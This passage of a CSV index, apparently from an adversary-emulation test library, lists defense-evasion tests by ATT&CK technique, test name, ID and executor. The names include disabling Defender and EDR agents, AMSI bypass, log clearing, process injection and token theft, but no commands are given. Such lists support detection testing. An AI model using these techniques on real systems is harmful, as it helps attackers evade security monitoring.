+defense-evasion,T1112,Modify Registry,50,Enabling Remote Desktop Protocol via Remote Registry,e3ad8e83-3089-49ff-817f-e52f8c948090,command_prompt +defense-evasion,T1112,Modify Registry,51,Disable Win Defender Notification,12e03af7-79f9-4f95-af48-d3f12f28a260,command_prompt +defense-evasion,T1112,Modify Registry,52,Disable Windows OS Auto Update,01b20ca8-c7a3-4d86-af59-059f15ed5474,command_prompt +defense-evasion,T1112,Modify Registry,53,Disable Windows Auto Reboot for current logon user,396f997b-c5f8-4a96-bb2c-3c8795cf459d,command_prompt +defense-evasion,T1112,Modify Registry,54,Windows Auto Update Option to Notify before download,335a6b15-b8d2-4a3f-a973-ad69aa2620d7,command_prompt +defense-evasion,T1112,Modify Registry,55,Do Not Connect To Win Update,d1de3767-99c2-4c6c-8c5a-4ba4586474c8,command_prompt +defense-evasion,T1112,Modify Registry,56,Tamper Win Defender Protection,3b625eaa-c10d-4635-af96-3eae7d2a2f3c,command_prompt +defense-evasion,T1112,Modify Registry,57,Snake Malware Registry Blob,8318ad20-0488-4a64-98f4-72525a012f6b,powershell +defense-evasion,T1112,Modify Registry,58,Allow Simultaneous Download Registry,37950714-e923-4f92-8c7c-51e4b6fffbf6,command_prompt +defense-evasion,T1112,Modify Registry,59,Modify Internet Zone Protocol Defaults in Current User Registry - cmd,c88ef166-50fa-40d5-a80c-e2b87d4180f7,command_prompt +defense-evasion,T1112,Modify Registry,60,Modify Internet Zone Protocol Defaults in Current User Registry - PowerShell,b1a4d687-ba52-4057-81ab-757c3dc0d3b5,powershell +defense-evasion,T1112,Modify Registry,61,Activities To Disable Secondary Authentication Detected By Modified Registry Value.,c26fb85a-fa50-4fab-a64a-c51f5dc538d5,command_prompt +defense-evasion,T1112,Modify Registry,62,Activities To Disable Microsoft [FIDO Aka Fast IDentity Online] Authentication Detected By Modified Registry Value.,ffeddced-bb9f-49c6-97f0-3d07a509bf94,command_prompt +defense-evasion,T1112,Modify Registry,63,Scarab Ransomware Defense Evasion Activities,ca8ba39c-3c5a-459f-8e15-280aec65a910,command_prompt +defense-evasion,T1112,Modify Registry,64,Disable Remote Desktop Anti-Alias Setting Through Registry,61d35188-f113-4334-8245-8c6556d43909,command_prompt +defense-evasion,T1112,Modify Registry,65,Disable Remote Desktop Security Settings Through Registry,4b81bcfa-fb0a-45e9-90c2-e3efe5160140,command_prompt +defense-evasion,T1112,Modify Registry,66,Disabling ShowUI Settings of Windows Error Reporting (WER),09147b61-40f6-4b2a-b6fb-9e73a3437c96,command_prompt +defense-evasion,T1112,Modify Registry,67,Enable Proxy Settings,eb0ba433-63e5-4a8c-a9f0-27c4192e1336,command_prompt +defense-evasion,T1112,Modify Registry,68,Set-Up Proxy Server,d88a3d3b-d016-4939-a745-03638aafd21b,command_prompt +defense-evasion,T1112,Modify Registry,69,RDP Authentication Level Override,7e7b62e9-5f83-477d-8935-48600f38a3c6,command_prompt +defense-evasion,T1112,Modify Registry,70,Enable RDP via Registry (fDenyTSConnections),16bdbe52-371c-4ccf-b708-79fba61f1db4,command_prompt +defense-evasion,T1112,Modify Registry,71,Disable Windows Prefetch Through Registry,7979dd41-2045-48b2-a54e-b1bc2415c9da,command_prompt +defense-evasion,T1112,Modify Registry,72,Setting Shadow key in Registry for RDP Shadowing,ac494fe5-81a4-4897-af42-e774cf005ecb,powershell +defense-evasion,T1112,Modify Registry,73,Flush Shimcache,ecbd533e-b45d-4239-aeff-b857c6f6d68b,command_prompt +defense-evasion,T1112,Modify Registry,74,Disable Windows Remote Desktop Protocol,5f8e36de-37ca-455e-b054-a2584f043c06,command_prompt +defense-evasion,T1112,Modify Registry,75,Enforce Smart Card Authentication Through Registry,4c4bf587-fe7f-448f-ba8d-1ecec9db88be,command_prompt +defense-evasion,T1112,Modify Registry,76,Requires the BitLocker PIN for Pre-boot authentication,26fc7375-a551-4336-90d7-3f2817564304,command_prompt +defense-evasion,T1112,Modify Registry,77,Modify EnableBDEWithNoTPM Registry entry,bacb3e73-8161-43a9-8204-a69fe0e4b482,command_prompt +defense-evasion,T1112,Modify Registry,78,Modify UseTPM Registry entry,7c8c7bd8-0a5c-4514-a6a3-0814c5a98cf0,command_prompt +defense-evasion,T1112,Modify Registry,79,Modify UseTPMPIN Registry entry,10b33fb0-c58b-44cd-8599-b6da5ad6384c,command_prompt +defense-evasion,T1112,Modify Registry,80,Modify UseTPMKey Registry entry,c8480c83-a932-446e-a919-06a1fd1e512a,command_prompt +defense-evasion,T1112,Modify Registry,81,Modify UseTPMKeyPIN Registry entry,02d8b9f7-1a51-4011-8901-2d55cca667f9,command_prompt +defense-evasion,T1112,Modify Registry,82,Modify EnableNonTPM Registry entry,e672a340-a933-447c-954c-d68db38a09b1,command_prompt +defense-evasion,T1112,Modify Registry,83,Modify UsePartialEncryptionKey Registry entry,b5169fd5-85c8-4b2c-a9b6-64cc0b9febef,command_prompt +defense-evasion,T1112,Modify Registry,84,Modify UsePIN Registry entry,3ac0b30f-532f-43c6-8f01-fb657aaed7e4,command_prompt +defense-evasion,T1112,Modify Registry,85,Abusing Windows TelemetryController Registry Key for Persistence,4469192c-2d2d-4a3a-9758-1f31d937a92b,command_prompt +defense-evasion,T1112,Modify Registry,86,Modify RDP-Tcp Initial Program Registry Entry,c691cee2-8d17-4395-b22f-00644c7f1c2d,command_prompt +defense-evasion,T1112,Modify Registry,87,Abusing MyComputer Disk Cleanup Path for Persistence,f2915249-4485-42e2-96b7-9bf34328d497,command_prompt +defense-evasion,T1112,Modify Registry,88,Abusing MyComputer Disk Fragmentation Path for Persistence,3235aafe-b49d-451b-a1f1-d979fa65ddaf,command_prompt +defense-evasion,T1112,Modify Registry,89,Abusing MyComputer Disk Backup Path for Persistence,599f3b5c-0323-44ed-bb63-4551623bf675,command_prompt +defense-evasion,T1112,Modify Registry,90,Adding custom paths for application execution,573d15da-c34e-4c59-a7d2-18f20d92dfa3,command_prompt +defense-evasion,T1574.008,Hijack Execution Flow: Path Interception by Search Order Hijacking,1,powerShell Persistence via hijacking default modules - Get-Variable.exe,1561de08-0b4b-498e-8261-e922f3494aae,powershell +defense-evasion,T1027.001,Obfuscated Files or Information: Binary Padding,1,Pad Binary to Change Hash - Linux/macOS dd,ffe2346c-abd5-4b45-a713-bf5f1ebd573a,sh +defense-evasion,T1027.001,Obfuscated Files or Information: Binary Padding,2,Pad Binary to Change Hash using truncate command - Linux/macOS,e22a9e89-69c7-410f-a473-e6c212cd2292,sh +defense-evasion,T1484.001,Domain Policy Modification: Group Policy Modification,1,LockBit Black - Modify Group policy settings -cmd,9ab80952-74ee-43da-a98c-1e740a985f28,command_prompt +defense-evasion,T1484.001,Domain Policy Modification: Group Policy Modification,2,LockBit Black - Modify Group policy settings -Powershell,b51eae65-5441-4789-b8e8-64783c26c1d1,powershell +defense-evasion,T1078.001,Valid Accounts: Default Accounts,1,Enable Guest account with RDP capability and admin privileges,99747561-ed8d-47f2-9c91-1e5fde1ed6e0,command_prompt +defense-evasion,T1078.001,Valid Accounts: Default Accounts,2,Activate Guest Account,aa6cb8c4-b582-4f8e-b677-37733914abda,command_prompt +defense-evasion,T1078.001,Valid Accounts: Default Accounts,3,Enable Guest Account on macOS,0315bdff-4178-47e9-81e4-f31a6d23f7e4,sh +defense-evasion,T1574.006,Hijack Execution Flow: LD_PRELOAD,1,Shared Library Injection via /etc/ld.so.preload,39cb0e67-dd0d-4b74-a74b-c072db7ae991,bash +defense-evasion,T1574.006,Hijack Execution Flow: LD_PRELOAD,2,Shared Library Injection via LD_PRELOAD,bc219ff7-789f-4d51-9142-ecae3397deae,bash +defense-evasion,T1574.006,Hijack Execution Flow: LD_PRELOAD,3,Dylib Injection via DYLD_INSERT_LIBRARIES,4d66029d-7355-43fd-93a4-b63ba92ea1be,bash +defense-evasion,T1070.001,Indicator Removal on Host: Clear Windows Event Logs,1,Clear Logs,e6abb60e-26b8-41da-8aae-0c35174b0967,command_prompt +defense-evasion,T1070.001,Indicator Removal on Host: Clear Windows Event Logs,2,Delete System Logs Using Clear-EventLog,b13e9306-3351-4b4b-a6e8-477358b0b498,powershell +defense-evasion,T1070.001,Indicator Removal on Host: Clear Windows Event Logs,3,Clear Event Logs via VBA,1b682d84-f075-4f93-9a89-8a8de19ffd6e,powershell +defense-evasion,T1222,File and Directory Permissions Modification,1,Enable Local and Remote Symbolic Links via fsutil,6c4ac96f-d4fa-44f4-83ca-56d8f4a55c02,command_prompt +defense-evasion,T1222,File and Directory Permissions Modification,2,Enable Local and Remote Symbolic Links via reg.exe,78bef0d4-57fb-417d-a67a-b75ae02ea3ab,command_prompt +defense-evasion,T1222,File and Directory Permissions Modification,3,Enable Local and Remote Symbolic Links via Powershell,6cd715aa-20ac-4be1-a8f1-dda7bae160bd,powershell +defense-evasion,T1134.002,Create Process with Token,1,Access Token Manipulation,dbf4f5a9-b8e0-46a3-9841-9ad71247239e,powershell +defense-evasion,T1134.002,Create Process with Token,2,WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique,ccf4ac39-ec93-42be-9035-90e2f26bcd92,powershell +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,1,Make and modify binary from C source,896dfe97-ae43-4101-8e96-9a7996555d80,sh +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,2,Make and modify binary from C source (freebsd),dd580455-d84b-481b-b8b0-ac96f3b1dc4c,sh +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,3,Set a SetUID flag on file,759055b3-3885-4582-a8ec-c00c9d64dd79,sh +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,4,Set a SetUID flag on file (freebsd),9be9b827-ff47-4e1b-bef8-217db6fb7283,sh +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,5,Set a SetGID flag on file,db55f666-7cba-46c6-9fe6-205a05c3242c,sh +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,6,Set a SetGID flag on file (freebsd),1f73af33-62a8-4bf1-bd10-3bea931f2c0d,sh +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,7,Make and modify capabilities of a binary,db53959c-207d-4000-9e7a-cd8eb417e072,sh +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,8,Provide the SetUID capability to a file,1ac3272f-9bcf-443a-9888-4b1d3de785c1,sh +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,9,Do reconnaissance for files that have the setuid bit set,8e36da01-cd29-45fd-be72-8a0fcaad4481,sh +defense-evasion,T1548.001,Abuse Elevation Control Mechanism: Setuid and Setgid,10,Do reconnaissance for files that have the setgid bit set,3fb46e17-f337-4c14-9f9a-a471946533e2,sh +defense-evasion,T1218.008,Signed Binary Proxy Execution: Odbcconf,1,Odbcconf.exe - Execute Arbitrary DLL,2430498b-06c0-4b92-a448-8ad263c388e2,command_prompt +defense-evasion,T1218.008,Signed Binary Proxy Execution: Odbcconf,2,Odbcconf.exe - Load Response File,331ce274-f9c9-440b-9f8c-a1006e1fce0b,command_prompt +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,1,Auditing Configuration Changes on Linux Host,212cfbcf-4770-4980-bc21-303e37abd0e3,bash +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,2,Auditing Configuration Changes on FreeBSD Host,cedaf7e7-28ee-42ab-ba13-456abd35d1bd,sh +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,3,Logging Configuration Changes on Linux Host,7d40bc58-94c7-4fbb-88d9-ebce9fcdb60c,bash +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,4,Logging Configuration Changes on FreeBSD Host,6b8ca3ab-5980-4321-80c3-bcd77c8daed8,sh +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,5,Disable Powershell ETW Provider - Windows,6f118276-121d-4c09-bb58-a8fb4a72ee84,powershell +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,6,Disable .NET Event Tracing for Windows Via Registry (cmd),8a4c33be-a0d3-434a-bee6-315405edbd5b,command_prompt +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,7,Disable .NET Event Tracing for Windows Via Registry (powershell),19c07a45-452d-4620-90ed-4c34fffbe758,powershell +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,8,LockBit Black - Disable the ETW Provider of Windows Defender -cmd,f6df0b8e-2c83-44c7-ba5e-0fa4386bec41,command_prompt +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,9,LockBit Black - Disable the ETW Provider of Windows Defender -Powershell,69fc085b-5444-4879-8002-b24c8e1a3e02,powershell +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,10,Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd,fdac1f79-b833-4bab-b4a1-11b1ed676a4b,command_prompt +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,11,Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell,b42c1f8c-399b-47ae-8fd8-763181395fee,powershell +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,12,Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd,110b4281-43fe-405f-a184-5d8eaf228ebf,command_prompt +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,13,Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell,4d61779d-be7f-425c-b560-0cafb2522911,powershell +defense-evasion,T1562.006,Impair Defenses: Indicator Blocking,14,Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table,1174b5df-2c33-490f-8854-f5eb80c907ca,powershell +defense-evasion,T1070,Indicator Removal on Host,1,Indicator Removal using FSUtil,b4115c7a-0e92-47f0-a61e-17e7218b2435,command_prompt +defense-evasion,T1070,Indicator Removal on Host,2,Indicator Manipulation using FSUtil,96e86706-6afd-45b6-95d6-108d23eaf2e9,powershell +defense-evasion,T1550.003,Use Alternate Authentication Material: Pass the Ticket,1,Mimikatz Kerberos Ticket Attack,dbf38128-7ba7-4776-bedf-cc2eed432098,command_prompt +defense-evasion,T1550.003,Use Alternate Authentication Material: Pass the Ticket,2,Rubeus Kerberos Pass The Ticket,a2fc4ec5-12c6-4fb4-b661-961f23f359cb,powershell +defense-evasion,T1036.004,Masquerading: Masquerade Task or Service,1,Creating W32Time similar named service using schtasks,f9f2fe59-96f7-4a7d-ba9f-a9783200d4c9,command_prompt +defense-evasion,T1036.004,Masquerading: Masquerade Task or Service,2,Creating W32Time similar named service using sc,b721c6ef-472c-4263-a0d9-37f1f4ecff66,command_prompt +defense-evasion,T1036.004,Masquerading: Masquerade Task or Service,3,linux rename /proc/pid/comm using prctl,f0e3aaea-5cd9-4db6-a077-631dd19b27a8,sh +defense-evasion,T1036.004,Masquerading: Masquerade Task or Service,4,Hiding a malicious process with bind mounts,ad4b73c2-d6e2-4d8b-9868-4c6f55906e01,sh +defense-evasion,T1055.004,Process Injection: Asynchronous Procedure Call,1,Process Injection via C#,611b39b7-e243-4c81-87a4-7145a90358b1,command_prompt +defense-evasion,T1055.004,Process Injection: Asynchronous Procedure Call,2,EarlyBird APC Queue Injection in Go,73785dd2-323b-4205-ab16-bb6f06677e14,powershell +defense-evasion,T1055.004,Process Injection: Asynchronous Procedure Call,3,Remote Process Injection with Go using NtQueueApcThreadEx WinAPI,4cc571b1-f450-414a-850f-879baf36aa06,powershell +defense-evasion,T1647,Plist File Modification,1,Plist Modification,394a538e-09bb-4a4a-95d1-b93cf12682a8,manual +defense-evasion,T1553.005,Subvert Trust Controls: Mark-of-the-Web Bypass,1,Mount ISO image,002cca30-4778-4891-878a-aaffcfa502fa,powershell +defense-evasion,T1553.005,Subvert Trust Controls: Mark-of-the-Web Bypass,2,Mount an ISO image and run executable from the ISO,42f22b00-0242-4afc-a61b-0da05041f9cc,powershell +defense-evasion,T1553.005,Subvert Trust Controls: Mark-of-the-Web Bypass,3,Remove the Zone.Identifier alternate data stream,64b12afc-18b8-4d3f-9eab-7f6cae7c73f9,powershell +defense-evasion,T1553.005,Subvert Trust Controls: Mark-of-the-Web Bypass,4,Execute LNK file from ISO,c2587b8d-743d-4985-aa50-c83394eaeb68,powershell +defense-evasion,T1612,Build Image on Host,1,Build Image On Host,2db30061-589d-409b-b125-7b473944f9b3,sh +defense-evasion,T1055.002,Process Injection: Portable Executable Injection,1,Portable Executable Injection,578025d5-faa9-4f6d-8390-aae739d503e1,powershell +defense-evasion,T1562.010,Impair Defenses: Downgrade Attack,1,ESXi - Change VIB acceptance level to CommunitySupported via PowerCLI,062f92c9-28b1-4391-a5f8-9d8ca6852091,powershell +defense-evasion,T1562.010,Impair Defenses: Downgrade Attack,2,ESXi - Change VIB acceptance level to CommunitySupported via ESXCLI,14d55b96-b2f5-428d-8fed-49dc4d9dd616,command_prompt +defense-evasion,T1562.010,Impair Defenses: Downgrade Attack,3,PowerShell Version 2 Downgrade,47c96489-2f55-4774-a6df-39faff428f6f,powershell +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,1,Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject,1483fab9-4f52-4217-a9ce-daa9d7747cae,command_prompt +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,2,Mshta executes VBScript to execute malicious command,906865c3-e05f-4acc-85c4-fbc185455095,command_prompt +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,3,Mshta Executes Remote HTML Application (HTA),c4b97eeb-5249-4455-a607-59f95485cb45,powershell +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,4,Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement,007e5672-2088-4853-a562-7490ddc19447,powershell +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,5,Invoke HTML Application - Jscript Engine Simulating Double Click,58a193ec-131b-404e-b1ca-b35cf0b18c33,powershell +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,6,Invoke HTML Application - Direct download from URI,39ceed55-f653-48ac-bd19-aceceaf525db,powershell +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,7,Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler,e7e3a525-7612-4d68-a5d3-c4649181b8af,powershell +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,8,Invoke HTML Application - JScript Engine with Inline Protocol Handler,d3eaaf6a-cdb1-44a9-9ede-b6c337d0d840,powershell +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,9,Invoke HTML Application - Simulate Lateral Movement over UNC Path,b8a8bdb2-7eae-490d-8251-d5e0295b2362,powershell +defense-evasion,T1218.005,Signed Binary Proxy Execution: Mshta,10,Mshta used to Execute PowerShell,8707a805-2b76-4f32-b1c0-14e558205772,command_prompt +defense-evasion,T1134.001,Access Token Manipulation: Token Impersonation/Theft,1,Named pipe client impersonation,90db9e27-8e7c-4c04-b602-a45927884966,powershell +defense-evasion,T1134.001,Access Token Manipulation: Token Impersonation/Theft,2,`SeDebugPrivilege` token duplication,34f0a430-9d04-4d98-bcb5-1989f14719f0,powershell +defense-evasion,T1134.001,Access Token Manipulation: Token Impersonation/Theft,3,Launch NSudo Executable,7be1bc0f-d8e5-4345-9333-f5f67d742cb9,powershell +defense-evasion,T1134.001,Access Token Manipulation: Token Impersonation/Theft,4,Bad Potato,9c6d799b-c111-4749-a42f-ec2f8cb51448,powershell +defense-evasion,T1134.001,Access Token Manipulation: Token Impersonation/Theft,5,Juicy Potato,f095e373-b936-4eb4-8d22-f47ccbfbe64a,powershell +defense-evasion,T1564.002,Hide Artifacts: Hidden Users,1,Create Hidden User using UniqueID < 500,4238a7f0-a980-4fff-98a2-dfc0a363d507,sh +defense-evasion,T1564.002,Hide Artifacts: Hidden Users,2,Create Hidden User using IsHidden option,de87ed7b-52c3-43fd-9554-730f695e7f31,sh +defense-evasion,T1564.002,Hide Artifacts: Hidden Users,3,Create Hidden User in Registry,173126b7-afe4-45eb-8680-fa9f6400431c,command_prompt +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,1,Disable history collection,4eafdb45-0f79-4d66-aa86-a3e2c08791f5,sh +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,2,Disable history collection (freebsd),cada55b4-8251-4c60-819e-8ec1b33c9306,sh +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,3,Mac HISTCONTROL,468566d5-83e5-40c1-b338-511e1659628d,manual +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,4,Clear bash history,878794f7-c511-4199-a950-8c28b3ed8e5b,bash +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,5,Setting the HISTCONTROL environment variable,10ab786a-028e-4465-96f6-9e83ca6c5f24,bash +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,6,Setting the HISTFILESIZE environment variable,5cafd6c1-2f43-46eb-ac47-a5301ba0a618,bash +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,7,Setting the HISTSIZE environment variable,386d3850-2ce7-4508-b56b-c0558922c814,sh +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,8,Setting the HISTFILE environment variable,b3dacb6c-a9e3-44ec-bf87-38db60c5cad1,bash +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,9,Setting the HISTFILE environment variable (freebsd),f7308845-6da8-468e-99f2-4271f2f5bb67,sh +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,10,Setting the HISTIGNORE environment variable,f12acddb-7502-4ce6-a146-5b62c59592f1,bash +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,11,Disable Windows Command Line Auditing using reg.exe,1329d5ab-e10e-4e5e-93d1-4d907eb656e5,command_prompt +defense-evasion,T1562.003,Impair Defenses: Impair Command History Logging,12,Disable Windows Command Line Auditing using Powershell Cmdlet,95f5c72f-6dfe-45f3-a8c1-d8faa07176fa,powershell +defense-evasion,T1134.004,Access Token Manipulation: Parent PID Spoofing,1,Parent PID Spoofing using PowerShell,069258f4-2162-46e9-9a25-c9c6c56150d2,powershell +defense-evasion,T1134.004,Access Token Manipulation: Parent PID Spoofing,2,Parent PID Spoofing - Spawn from Current Process,14920ebd-1d61-491a-85e0-fe98efe37f25,powershell +defense-evasion,T1134.004,Access Token Manipulation: Parent PID Spoofing,3,Parent PID Spoofing - Spawn from Specified Process,cbbff285-9051-444a-9d17-c07cd2d230eb,powershell +defense-evasion,T1134.004,Access Token Manipulation: Parent PID Spoofing,4,Parent PID Spoofing - Spawn from svchost.exe,e9f2b777-3123-430b-805d-5cedc66ab591,powershell +defense-evasion,T1134.004,Access Token Manipulation: Parent PID Spoofing,5,Parent PID Spoofing - Spawn from New Process,2988133e-561c-4e42-a15f-6281e6a9b2db,powershell +defense-evasion,T1218.001,Signed Binary Proxy Execution: Compiled HTML File,1,Compiled HTML Help Local Payload,5cb87818-0d7c-4469-b7ef-9224107aebe8,command_prompt +defense-evasion,T1218.001,Signed Binary Proxy Execution: Compiled HTML File,2,Compiled HTML Help Remote Payload,0f8af516-9818-4172-922b-42986ef1e81d,command_prompt +defense-evasion,T1218.001,Signed Binary Proxy Execution: Compiled HTML File,3,Invoke CHM with default Shortcut Command Execution,29d6f0d7-be63-4482-8827-ea77126c1ef7,powershell +defense-evasion,T1218.001,Signed Binary Proxy Execution: Compiled HTML File,4,Invoke CHM with InfoTech Storage Protocol Handler,b4094750-5fc7-4e8e-af12-b4e36bf5e7f6,powershell +defense-evasion,T1218.001,Signed Binary Proxy Execution: Compiled HTML File,5,Invoke CHM Simulate Double click,5decef42-92b8-4a93-9eb2-877ddcb9401a,powershell +defense-evasion,T1218.001,Signed Binary Proxy Execution: Compiled HTML File,6,Invoke CHM with Script Engine and Help Topic,4f83adda-f5ec-406d-b318-9773c9ca92e5,powershell +defense-evasion,T1218.001,Signed Binary Proxy Execution: Compiled HTML File,7,Invoke CHM Shortcut Command with ITS and Help Topic,15756147-7470-4a83-87fb-bb5662526247,powershell +defense-evasion,T1218.001,Signed Binary Proxy Execution: Compiled HTML File,8,Decompile Local CHM File,20cb05e0-1fa5-406d-92c1-84da4ba01813,command_prompt +defense-evasion,T1070.005,Indicator Removal on Host: Network Share Connection Removal,1,Add Network Share,14c38f32-6509-46d8-ab43-d53e32d2b131,command_prompt +defense-evasion,T1070.005,Indicator Removal on Host: Network Share Connection Removal,2,Remove Network Share,09210ad5-1ef2-4077-9ad3-7351e13e9222,command_prompt +defense-evasion,T1070.005,Indicator Removal on Host: Network Share Connection Removal,3,Remove Network Share PowerShell,0512d214-9512-4d22-bde7-f37e058259b3,powershell +defense-evasion,T1070.005,Indicator Removal on Host: Network Share Connection Removal,4,Disable Administrative Share Creation at Startup,99c657aa-ebeb-4179-a665-69288fdd12b8,command_prompt +defense-evasion,T1070.005,Indicator Removal on Host: Network Share Connection Removal,5,Remove Administrative Shares,4299eff5-90f1-4446-b2f3-7f4f5cfd5d62,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,1,Disable syslog,4ce786f8-e601-44b5-bfae-9ebb15a7d1c8,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,2,Disable syslog (freebsd),db9de996-441e-4ae0-947b-61b6871e2fdf,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,3,Disable Cb Response,ae8943f7-0f8d-44de-962d-fbc2e2f03eb8,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,4,Disable SELinux,fc225f36-9279-4c39-b3f9-5141ab74f8d8,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,5,Stop Crowdstrike Falcon on Linux,828a1278-81cc-4802-96ab-188bf29ca77d,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,6,Disable Carbon Black Response,8fba7766-2d11-4b4a-979a-1e3d9cc9a88c,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,7,Disable LittleSnitch,62155dd8-bb3d-4f32-b31c-6532ff3ac6a3,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,8,Disable OpenDNS Umbrella,07f43b33-1e15-4e99-be70-bc094157c849,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,9,Disable macOS Gatekeeper,2a821573-fb3f-4e71-92c3-daac7432f053,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,10,Stop and unload Crowdstrike Falcon on macOS,b3e7510c-2d4c-4249-a33f-591a2bc83eef,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,11,Unload Sysmon Filter Driver,811b3e76-c41b-430c-ac0d-e2380bfaa164,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,12,Uninstall Sysmon,a316fb2e-5344-470d-91c1-23e15c374edc,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,13,AMSI Bypass - AMSI InitFailed,695eed40-e949-40e5-b306-b4031e4154bd,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,14,AMSI Bypass - Remove AMSI Provider Reg Key,13f09b91-c953-438e-845b-b585e51cac9b,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,15,Disable Arbitrary Security Windows Service,a1230893-56ac-4c81-b644-2108e982f8f5,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,16,Tamper with Windows Defender ATP PowerShell,6b8df440-51ec-4d53-bf83-899591c9b5d7,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,17,Tamper with Windows Defender Command Prompt,aa875ed4-8935-47e2-b2c5-6ec00ab220d2,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,18,Tamper with Windows Defender Registry,1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,19,Disable Microsoft Office Security Features,6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,20,Remove Windows Defender Definition Files,3d47daaa-2f56-43e0-94cc-caf5d8d52a68,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,21,Stop and Remove Arbitrary Security Windows Service,ae753dda-0f15-4af6-a168-b9ba16143143,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,22,Uninstall Crowdstrike Falcon on Windows,b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,23,Tamper with Windows Defender Evade Scanning -Folder,0b19f4ee-de90-4059-88cb-63c800c683ed,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,24,Tamper with Windows Defender Evade Scanning -Extension,315f4be6-2240-4552-b3e1-d1047f5eecea,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,25,Tamper with Windows Defender Evade Scanning -Process,a123ce6a-3916-45d6-ba9c-7d4081315c27,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,26,office-365-Disable-AntiPhishRule,b9bbae2c-2ba6-4cf3-b452-8e8f908696f3,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,27,Disable Windows Defender with DISM,871438ac-7d6e-432a-b27d-3e7db69faf58,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,28,Disable Defender Using NirSoft AdvancedRun,81ce22fd-9612-4154-918e-8a1f285d214d,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,29,Kill antimalware protected processes using Backstab,24a12b91-05a7-4deb-8d7f-035fa98591bc,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,30,WinPwn - Kill the event log services for 